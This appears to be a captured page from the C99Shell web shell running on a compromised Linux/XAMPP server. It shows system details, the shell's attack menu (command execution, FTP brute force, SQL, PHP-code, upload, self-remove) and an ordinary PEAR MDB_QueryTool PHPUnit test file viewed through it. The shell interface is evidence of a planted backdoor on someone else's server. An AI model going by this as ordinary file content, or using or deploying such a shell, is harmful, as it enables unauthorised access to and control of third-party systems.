!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/test/MDB_QueryTool/tests/   drwxr-xr-x
Free 13.33 GB of 61.93 GB (21.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TestCase.php (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//
//  $Id: TestCase.php 322098 2012-01-11 21:20:03Z danielc $
//

require_once 'PHPUnit/Autoload.php';
require_once 
'MDB/QueryTool.php';
require 
dirname(__FILE__) . '/config.php';
require 
dirname(__FILE__) . '/Common.php';

abstract class 
tests_TestCase extends PHPUnit_Framework_TestCase
{
    public static function 
setUpBeforeClass()
    {
        require 
dirname(__FILE__) . '/sql.php';
        
$querytool = new tests_Common();
        if (empty(
$dbStructure[$querytool->db->phptype])) {
            die(
"sql.php lacks queries for $querytool->db->phptype\n");
        }
        foreach (
$dbStructure[$querytool->db->phptype]['setUp'] as $aQuery) {
            if (
MDB2::isError($ret=$querytool->db->query($aQuery))) {
                
$this->markTestSkipped($ret->getUserInfo());
            }
        }
    }

    protected function 
setUp()
    {
        foreach (
$GLOBALS['allTables'] as $aTable) {
            
$tableObj = new tests_Common($aTable);
            
$tableObj->removeAll();
        }
    }

    public static function 
tearDownAfterClass()
    {
        require 
dirname(__FILE__) . '/sql.php';
        
$querytool = new tests_Common();
        foreach (
$dbStructure[$querytool->db->phptype]['tearDown'] as $aQuery) {
            
$querytool->db->query($aQuery);
        }
    }

    protected function 
assertStringEquals($expected,$actual,$msg='')
    {
        
$expected '~^\s*'.preg_replace('~\s+~','\s*',trim(preg_quote($expected))).'\s*$~i';
        
$this->assertRegExp($expected,$actual,$msg);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6117 ]--